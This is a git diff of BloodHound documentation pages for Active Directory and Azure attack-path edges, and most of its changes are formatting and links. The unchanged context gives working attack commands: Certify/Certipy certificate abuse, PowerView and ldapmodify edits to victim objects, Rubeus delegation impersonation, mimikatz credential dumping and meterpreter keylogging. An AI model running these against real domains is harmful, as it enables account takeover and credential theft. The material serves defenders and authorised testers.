-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
-
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 4.
+Step 3: Check if the `mail` attribute of victim must be set and set it if required.
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
+
-Check if the victim has the mail attribute set using PowerView:
+Check if the victim has the `mail` attribute set using PowerView:
```PowerShell
Get-DomainObject -Identity VICTIM -Properties mail
```
-If the victim has the mail attribute set, continue to Step 4.
+If the victim has the `mail` attribute set, continue to Step 4.
-If the victim does not has the mail attribute set, set it to a dummy mail using PowerView:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using PowerView:
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
@@ -62,7 +60,7 @@ There are several options for this step. You can obtain a session as SYSTEM on t
Step 5: Enroll certificate as victim.
-Use Certify (2.0) as the victim computer to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certify (2.0) as the victim computer to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```cmd
Certify.exe request --ca SERVER\CA-NAME --template TEMPLATE --machine
@@ -92,7 +90,7 @@ Rubeus.exe asktgt /certificate: /user:TARGET$ /domain:DOMAIN /dc:DO
Step 1: Remove SPNs including `dNSHostName` on victim.
-The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
+
Remove SPN entries with ldapmodify:
@@ -107,26 +105,19 @@ Set the `dNSHostName` of the victim computer using Certipy:
```bash
certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -dns TARGET.CORP.LOCAL
```
-Step 3: Check if the 'mail' attribute of victim must be set and set it if required.
-
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
-
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 4.
+Step 3: Check if the `mail` attribute of victim must be set and set it if required.
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
+
-Check if the victim has the mail attribute set using ldapsearch:
+Check if the victim has the `mail` attribute set using ldapsearch:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail
```
-If the victim has the mail attribute set, continue to Step 4.
+If the victim has the `mail` attribute set, continue to Step 4.
-If the victim does not has the mail attribute set, set it to a dummy mail using ldapmodify:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using ldapmodify:
```bash
echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -138,7 +129,7 @@ There are several options for this step. You can obtain a session as SYSTEM on t
Step 5: Enroll certificate as victim.
-Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPLATE
@@ -163,7 +154,7 @@ certipy auth -pfx TARGET.pfx -dc-ip IP
**Opsec Considerations**
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
@@ -187,4 +178,4 @@ This edge is related to the following MITRE ATT&CK tactic and techniques:
* [LDAPSearch](https://linux.die.net/man/1/ldapsearch)
* [LDAPModify](https://linux.die.net/man/1/ldapmodify)
* [Certified Pre-Owned - Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
-* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
\ No newline at end of file
+* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
diff --git a/docs/resources/edges/add-allowed-to-act.mdx b/docs/resources/edges/add-allowed-to-act.mdx
index a56b1a18..9e5d7d00 100644
--- a/docs/resources/edges/add-allowed-to-act.mdx
+++ b/docs/resources/edges/add-allowed-to-act.mdx
@@ -3,17 +3,19 @@ title: AddAllowedToAct
description: "This edge means it's possible to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
For information on the abuse scenario of the property, see [AllowedToAct](/resources/edges/allowed-to-act).
## Abuse Info
-See the AllowedToAct edge section for abuse info
+See the [AllowedToAct](/resources/edges/allowed-to-act) edge section for abuse info
## Opsec Considerations
-See the AllowedToAct edge section for opsec considerations
+See the [AllowedToAct](/resources/edges/allowed-to-act) edge section for opsec considerations
## Edge Schema
diff --git a/docs/resources/edges/add-key-credential-link.mdx b/docs/resources/edges/add-key-credential-link.mdx
index e759657e..1fa86a82 100644
--- a/docs/resources/edges/add-key-credential-link.mdx
+++ b/docs/resources/edges/add-key-credential-link.mdx
@@ -3,7 +3,9 @@ title: AddKeyCredentialLink
description: 'The ability to write to the “msds-KeyCredentialLink” property on a user or computer. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.'
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -32,4 +34,4 @@ Traversable: **Yes**
* [https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/](https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/)
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
-* [https://specterops.io/blog/2022/02/09/introducing-bloodhound-4-1-the-three-headed-hound/](https://specterops.io/blog/2022/02/09/introducing-bloodhound-4-1-the-three-headed-hound/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/02/09/introducing-bloodhound-4-1-the-three-headed-hound/](https://specterops.io/blog/2022/02/09/introducing-bloodhound-4-1-the-three-headed-hound/)
diff --git a/docs/resources/edges/add-member.mdx b/docs/resources/edges/add-member.mdx
index 911e996d..4ba18279 100644
--- a/docs/resources/edges/add-member.mdx
+++ b/docs/resources/edges/add-member.mdx
@@ -3,7 +3,9 @@ title: AddMember
description: "This edge indicates the principal has the ability to add arbitrary principals to the target security group. Because of security group delegation, the members of a security group have the same privileges as that group."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
By adding yourself to a group and refreshing your token, you gain all the same privileges that group has.
diff --git a/docs/resources/edges/add-self.mdx b/docs/resources/edges/add-self.mdx
index 346d4c77..60ee8b1d 100644
--- a/docs/resources/edges/add-self.mdx
+++ b/docs/resources/edges/add-self.mdx
@@ -3,7 +3,9 @@ title: AddSelf
description: "This edge indicates the principal has the ability to add itself to the target security group. Because of security group delegation, the members of a security group have the same privileges as that group."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
By adding yourself to a group and refreshing your token, you gain all the same privileges that group has.
diff --git a/docs/resources/edges/admin-to.mdx b/docs/resources/edges/admin-to.mdx
index 3061eaf2..71d23b1c 100644
--- a/docs/resources/edges/admin-to.mdx
+++ b/docs/resources/edges/admin-to.mdx
@@ -3,7 +3,9 @@ title: AdminTo
description: "This edge indicates that principal is a local administrator on the target computer."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
By default, administrators have several ways to perform remote code execution on Windows systems, including via RDP, WMI, WinRM, the Service Control Manager, and remote DCOM execution.
@@ -14,9 +16,9 @@ Finally, administrators can often disable host-based security controls that woul
## Abuse Info
-There are several ways to pivot to a Windows system. If using Cobalt Strike’s beacon, check the help info for the commands “psexec”, “psexec_psh”, “wmi”, and “winrm”. With Empire, consider the modules for Invoke-PsExec, Invoke-DCOM, and Invoke-SMBExec.
+There are several ways to pivot to a Windows system. If using Cobalt Strike’s beacon, check the help info for the commands `psexec`, `psexec_psh`, `wmi`, and `winrm`. With Empire, consider the modules for Invoke-PsExec, Invoke-DCOM, and Invoke-SMBExec.
-With Metasploit, consider the modules “exploit/windows/smb/psexec”, “exploit/windows/winrm/winrm\_script\_exec”, and “exploit/windows/local/ps\_wmi\_exec”.
+With Metasploit, consider the modules `exploit/windows/smb/psexec`, `exploit/windows/winrm/winrm_script_exec`, and `exploit/windows/local/ps_wmi_exec`.
Additionally, there are several manual methods for remotely executing code on the machine, including via RDP, with the service control binary and interaction with the remote machine’s service control manager, and remotely instantiating DCOM objects. For more information about these lateral movement techniques, see the References section below.
@@ -24,7 +26,7 @@ Additionally, there are several manual methods for remotely executing code on th
The most well-known tool for gathering credentials from a Windows system is mimikatz. mimikatz is built into several agents and toolsets, including Cobalt Strike’s beacon, Empire, and Meterpreter. While running in a high integrity process with SeDebugPrivilege, execute one or more of mimikatz’s credential gathering techniques (e.g.: sekurlsa::wdigest, sekurlsa::logonpasswords, etc.), then parse or investigate the output to find clear-text credentials for other users logged onto the system.
-You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter’s “keyscan\_start” command to start keylogging a user, then “keyscan\_dump” to return the captured keystrokes. Or, you may use PowerSploit’s Invoke-ClipboardMonitor to periodically gather the contents of the user’s clipboard.
+You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter’s `keyscan_start` command to start keylogging a user, then `keyscan_dump` to return the captured keystrokes. Or, you may use PowerSploit’s Invoke-ClipboardMonitor to periodically gather the contents of the user’s clipboard.
### Token Impersonation
@@ -48,4 +50,4 @@ Traversable: **Yes**
## References
-* [https://attack.mitre.org/tactics/TA0008](https://attack.mitre.org/tactics/TA0008)
\ No newline at end of file
+* [https://attack.mitre.org/tactics/TA0008](https://attack.mitre.org/tactics/TA0008)
diff --git a/docs/resources/edges/all-extended-rights.mdx b/docs/resources/edges/all-extended-rights.mdx
index 144d7e92..82cd1d92 100644
--- a/docs/resources/edges/all-extended-rights.mdx
+++ b/docs/resources/edges/all-extended-rights.mdx
@@ -3,17 +3,19 @@ title: AllExtendedRights
description: "Extended rights are special rights granted on objects which allow reading of privileged attributes, as well as performing special actions."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
### **User**
-Having this privilege over a user grants the ability to reset the user’s password. For more information about that, see the ForceChangePassword edge section
+Having this privilege over a user grants the ability to reset the user’s password. For more information about that, see the [ForceChangePassword](/resources/edges/force-change-password) edge section
### **Computer**
-You may read the LAPS password of the computer object. For more information about that, see the ReadLAPSPassword edge section.
+You may read the LAPS password of the computer object. For more information about that, see the [ReadLAPSPassword](/resources/edges/read-laps-password) edge section.
### **Domain**
@@ -26,7 +28,7 @@ The AllExtendedRights permission grants enrollment rights on the certificate tem
The following additional requirements must be met for a principal to be able to enroll a certificate:
1. The certificate template is published on an enterprise CA
-2. The principal has Enroll permission on the enterprise CA
+2. The principal has [Enroll](/resources/edges/enroll) permission on the enterprise CA
3. The principal meets the issuance requirements and the requirements for subject name and subject alternative name defined by the template
Certify (2.0) can be used to enroll a certificate on Windows:
@@ -43,7 +45,7 @@ certipy req -u USER@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPL
## Opsec Considerations
-This will depend on the actual attack performed. See the particular opsec considerations sections for the ForceChangePassword, AddMembers, and GenericAll edges for more info
+This will depend on the actual attack performed. See the particular opsec considerations sections for the [ForceChangePassword](/resources/edges/force-change-password), [AddMember](/resources/edges/add-member), and [GenericAll](/resources/edges/generic-all) edges for more info
## Edge Schema
@@ -56,4 +58,4 @@ Traversable: **Yes**
* [https://www.youtube.com/watch?v=z8thoG7gPd0](https://www.youtube.com/watch?v=z8thoG7gPd0)
* [https://github.com/GhostPack/Certify](https://github.com/GhostPack/Certify)
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
-* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
\ No newline at end of file
+* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
diff --git a/docs/resources/edges/allowed-to-act.mdx b/docs/resources/edges/allowed-to-act.mdx
index dd72db8e..4c0cda3f 100644
--- a/docs/resources/edges/allowed-to-act.mdx
+++ b/docs/resources/edges/allowed-to-act.mdx
@@ -2,11 +2,14 @@
title: AllowedToAct
description: This edge allows an attacker to abuse resource-based constrained delegation to compromise the target. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object.
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
An attacker can execute a modified S4U2self/S4U2proxy abuse chain to impersonate any domain user to the target computer system and receive a valid service ticket “as” this user.
-One caveat is that impersonated users can not be in the “Protected Users” security group or otherwise have delegation privileges revoked. Another caveat is that the principal added to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL _must_ have a service principal name (SPN) set in order to successfully abuse the S4U2self/S4U2proxy process. If an attacker does not currently control an account with a SPN set, an attacker can abuse the default domain MachineAccountQuota settings to add a computer account that the attacker controls via the Powermad project.
+One caveat is that impersonated users can not be in the “Protected Users” security group or otherwise have delegation privileges revoked. Another caveat is that the principal added to the `msDS-AllowedToActOnBehalfOfOtherIdentity` DACL _must_ have a service principal name (SPN) set in order to successfully abuse the S4U2self/S4U2proxy process. If an attacker does not currently control an account with a SPN set, an attacker can abuse the default domain MachineAccountQuota settings to add a computer account that the attacker controls via the Powermad project.
**Abuse Info**
@@ -29,12 +32,12 @@ $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:B
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```
-Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re taking over, again using PowerView in this case:
+Next, we need to set this newly created security descriptor in the `msDS-AllowedToActOnBehalfOfOtherIdentity` field of the computer account we’re taking over, again using PowerView in this case:
```bash
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```
-We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
+We can then use Rubeus to hash the plaintext password into its `RC4_HMAC` form:
```bash
Rubeus.exe hash /password:Summer2018!
```
@@ -65,4 +68,4 @@ Traversable: **Yes**
* [https://blog.harmj0y.net/redteaming/another-word-on-delegation/](https://blog.harmj0y.net/redteaming/another-word-on-delegation/)
* [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
* [https://github.com/Kevin-Robertson/Powermad#new-machineaccount](https://github.com/Kevin-Robertson/Powermad#new-machineaccount)
-* [https://specterops.io/blog/2019/03/12/bloodhound-2-1-the-fix-broken-stuff-update/](https://specterops.io/blog/2019/03/12/bloodhound-2-1-the-fix-broken-stuff-update/)
\ No newline at end of file
+* [https://specterops.io/blog/2019/03/12/bloodhound-2-1-the-fix-broken-stuff-update/](https://specterops.io/blog/2019/03/12/bloodhound-2-1-the-fix-broken-stuff-update/)
diff --git a/docs/resources/edges/allowed-to-delegate.mdx b/docs/resources/edges/allowed-to-delegate.mdx
index 663b4795..02ad1337 100644
--- a/docs/resources/edges/allowed-to-delegate.mdx
+++ b/docs/resources/edges/allowed-to-delegate.mdx
@@ -3,18 +3,20 @@ title: AllowedToDelegate
description: "The constrained delegation primitive allows a principal to authenticate as any user to specific services (found in the msds-AllowedToDelegateTo LDAP property in the source node tab) on the target computer."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
That is, a node with this privilege can impersonate any domain principal (including Domain Admins) to the specific service on the target host. One caveat- impersonated users can not be in the “Protected Users” security group or otherwise have delegation privileges revoked.
-An issue exists in the constrained delegation where the service name (sname) of the resulting ticket is not a part of the protected ticket information, meaning that an attacker can modify the target service name to any service of their choice. For example, if msds-AllowedToDelegateTo is “HTTP/host.domain.com”, tickets can be modified for LDAP/HOST/etc. service names, resulting in complete server compromise, regardless of the specific service listed.
+An issue exists in the constrained delegation where the service name (sname) of the resulting ticket is not a part of the protected ticket information, meaning that an attacker can modify the target service name to any service of their choice. For example, if `msDS-AllowedToDelegateTo` is “HTTP/host.domain.com”, tickets can be modified for LDAP/HOST/etc. service names, resulting in complete server compromise, regardless of the specific service listed.
## Abuse Info
Abusing this privilege can utilize Benjamin Delpy’s Kekeo project, proxying in traffic generated from the Impacket library, or using the Rubeus project’s s4u abuse.
-In the following example, _victim_ is the attacker-controlled account (i.e. the hash is known) that is configured for constrained delegation. That is, _victim_ has the “HTTP/PRIMARY.testlab.local” service principal name (SPN) set in its msds-AllowedToDelegateTo property. The command first requests a TGT for the _victim_ user and executes the S4U2self/S4U2proxy process to impersonate the “admin” user to the “HTTP/PRIMARY.testlab.local” SPN. The alternative sname “cifs” is substituted in to the final service ticket and the ticket is submitted to the current logon session. This grants the attacker the ability to access the file system of PRIMARY.testlab.local as the “admin” user.
+In the following example, _victim_ is the attacker-controlled account (i.e. the hash is known) that is configured for constrained delegation. That is, _victim_ has the “HTTP/PRIMARY.testlab.local” service principal name (SPN) set in its `msDS-AllowedToDelegateTo` property. The command first requests a TGT for the _victim_ user and executes the S4U2self/S4U2proxy process to impersonate the “admin” user to the “HTTP/PRIMARY.testlab.local” SPN. The alternative sname “cifs” is substituted in to the final service ticket and the ticket is submitted to the current logon session. This grants the attacker the ability to access the file system of PRIMARY.testlab.local as the “admin” user.
```bash
Rubeus.exe s4u /user:victim /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:admin /msdsspn:"HTTP/PRIMARY.testlab.local" /altservice:cifs /ptt
@@ -38,4 +40,4 @@ Traversable: **Yes**
* [https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more)
* [https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus/](https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus/)
* [https://blog.harmj0y.net/redteaming/another-word-on-delegation/](https://blog.harmj0y.net/redteaming/another-word-on-delegation/)
-* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
\ No newline at end of file
+* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
diff --git a/docs/resources/edges/az-add-members.mdx b/docs/resources/edges/az-add-members.mdx
index 91577c6e..81d2dda2 100644
--- a/docs/resources/edges/az-add-members.mdx
+++ b/docs/resources/edges/az-add-members.mdx
@@ -3,7 +3,9 @@ title: AZAddMembers
description: "The ability to add other principals to an Azure security group"
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-add-owner.mdx b/docs/resources/edges/az-add-owner.mdx
index 08d21f7d..fa6eea5c 100644
--- a/docs/resources/edges/az-add-owner.mdx
+++ b/docs/resources/edges/az-add-owner.mdx
@@ -2,7 +2,10 @@
title: AZAddOwner
description: "This edge is created during post-processing."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
It is created against all App Registrations and Service Principals within the same tenant when an Azure principal has one of the following Entra ID roles:
@@ -50,4 +53,4 @@ Any time you add an owner to any Azure object, the AzureAD audit logs will creat
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-add-secret.mdx b/docs/resources/edges/az-add-secret.mdx
index ec617a5e..0557fcdb 100644
--- a/docs/resources/edges/az-add-secret.mdx
+++ b/docs/resources/edges/az-add-secret.mdx
@@ -2,7 +2,10 @@
title: AZAddSecret
description: Azure provides several systems and mechanisms for granting control of securable objects within Entra ID, including tenant-scoped admin roles, object-scoped admin roles, explicit object ownership, and API permissions.
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
When a principal has been granted “Cloud App Admin” or “App Admin” against the tenant, that principal gains the ability to add new secrets to all Service Principals and App Registrations. Additionally, a principal that has been granted “Cloud App Admin” or “App Admin” against, or explicit ownership of a Service Principal or App Registration gains the ability to add secrets to that particular object.
@@ -54,4 +57,4 @@ When you create a new secret for an App or Service Principal, Azure creates an e
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes)
\ No newline at end of file
+* [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes)
diff --git a/docs/resources/edges/az-aks-contributor.mdx b/docs/resources/edges/az-aks-contributor.mdx
index 200845f8..c2d8de58 100644
--- a/docs/resources/edges/az-aks-contributor.mdx
+++ b/docs/resources/edges/az-aks-contributor.mdx
@@ -3,7 +3,10 @@ title: AZAKSContributor
description: "The Azure Kubernetes Service Contributor role grants full control of the target Azure Kubernetes Service Managed Cluster."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
This includes the ability to remotely fetch administrator credentials for the cluster as well as the ability to execute arbitrary commands on compute nodes associated with the AKS Managed Cluster.
@@ -40,10 +43,10 @@ If successful, the output will include a JWT for the managed identity service pr
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
* [https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/](https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-app-admin.mdx b/docs/resources/edges/az-app-admin.mdx
index d7b2fe06..c00b23ea 100644
--- a/docs/resources/edges/az-app-admin.mdx
+++ b/docs/resources/edges/az-app-admin.mdx
@@ -3,7 +3,9 @@ title: AZAppAdmin
description: "The principal has the Application Administrator Entra ID role active and can control tenant-resident apps."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-authenticates-to.mdx b/docs/resources/edges/az-authenticates-to.mdx
index 84aa4a08..08f24618 100644
--- a/docs/resources/edges/az-authenticates-to.mdx
+++ b/docs/resources/edges/az-authenticates-to.mdx
@@ -3,15 +3,17 @@ title: AZAuthenticatesTo
description: The AZAuthenticatesTo edge indicates that a Federated Identity Credential (FIC) is configured on an Azure App Registration, allowing an external identity provider to authenticate as the application without a password or certificate.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-Any principal that can obtain a token from the FIC's trusted issuer matching its subject claim can authenticate as the App Registration, which in turn runs as its associated Service Principal via the AZRunsAs relationship.
+
+
+Any principal that can obtain a token from the FIC's trusted issuer matching its subject claim can authenticate as the App Registration, which in turn runs as its associated Service Principal via the [AZRunsAs](/resources/edges/az-runs-as) relationship.
## Abuse Info
No additional abuse is necessary to traverse this edge. The abuse primitive is captured on the edge leading to this FIC. Once a token has been obtained from the FIC's trusted issuer, it can be exchanged at the Microsoft identity platform token endpoint for an access token authenticating as the target App Registration.
-From there, follow the AZRunsAs edge to understand what Service Principal context, and associated permissions, the attacker gains.
+From there, follow the [AZRunsAs](/resources/edges/az-runs-as) edge to understand what Service Principal context, and associated permissions, the attacker gains.
## Opsec Considerations
diff --git a/docs/resources/edges/az-automation-contributor.mdx b/docs/resources/edges/az-automation-contributor.mdx
index f8a08d1d..7647ee23 100644
--- a/docs/resources/edges/az-automation-contributor.mdx
+++ b/docs/resources/edges/az-automation-contributor.mdx
@@ -3,7 +3,10 @@ title: AZAutomationContributor
description: The Azure Automation Contributor role grants full control of the target Azure Automation Account. This includes the ability to execute arbitrary commands on the Automation Account.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
## Abuse Info
@@ -45,9 +48,9 @@ If successful, the output will include a JWT for the managed identity service pr
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
* [https://specterops.io/blog/2022/06/06/managed-identity-attack-paths-part-1-automation-accounts/](https://specterops.io/blog/2022/06/06/managed-identity-attack-paths-part-1-automation-accounts/)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-avere-contributor.mdx b/docs/resources/edges/az-avere-contributor.mdx
index 4ba20025..1726f936 100644
--- a/docs/resources/edges/az-avere-contributor.mdx
+++ b/docs/resources/edges/az-avere-contributor.mdx
@@ -3,7 +3,9 @@ title: AZAvereContributor
description: Any principal granted the Avere Contributor role, scoped to the affected VM, can reset the built-in administrator password on the VM.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-cloud-app-admin.mdx b/docs/resources/edges/az-cloud-app-admin.mdx
index 56374eab..71898549 100644
--- a/docs/resources/edges/az-cloud-app-admin.mdx
+++ b/docs/resources/edges/az-cloud-app-admin.mdx
@@ -3,7 +3,9 @@ title: AZCloudAppAdmin
description: "The principal has the Cloud Application Administrator Entra ID role active and can control tenant-resident apps."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-contains.mdx b/docs/resources/edges/az-contains.mdx
index 371ba355..cfe9fc30 100644
--- a/docs/resources/edges/az-contains.mdx
+++ b/docs/resources/edges/az-contains.mdx
@@ -2,7 +2,10 @@
title: AZContains
description: "This indicates that the parent object contains the child object, such as a resource group containing a virtual machine, or a tenant “containing” a subscription."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-contributor.mdx b/docs/resources/edges/az-contributor.mdx
index f2e87ac1..f0e18776 100644
--- a/docs/resources/edges/az-contributor.mdx
+++ b/docs/resources/edges/az-contributor.mdx
@@ -3,7 +3,10 @@ title: AZContributor
description: "The contributor role grants almost all abusable privileges in all circumstances, with some exceptions. Those exceptions are not collected by AzureHound."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
@@ -20,7 +23,7 @@ This depends on what the target object is:
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
diff --git a/docs/resources/edges/az-execute-command.mdx b/docs/resources/edges/az-execute-command.mdx
index 4e33f6cb..562460fb 100644
--- a/docs/resources/edges/az-execute-command.mdx
+++ b/docs/resources/edges/az-execute-command.mdx
@@ -3,7 +3,9 @@ title: AZExecuteCommand
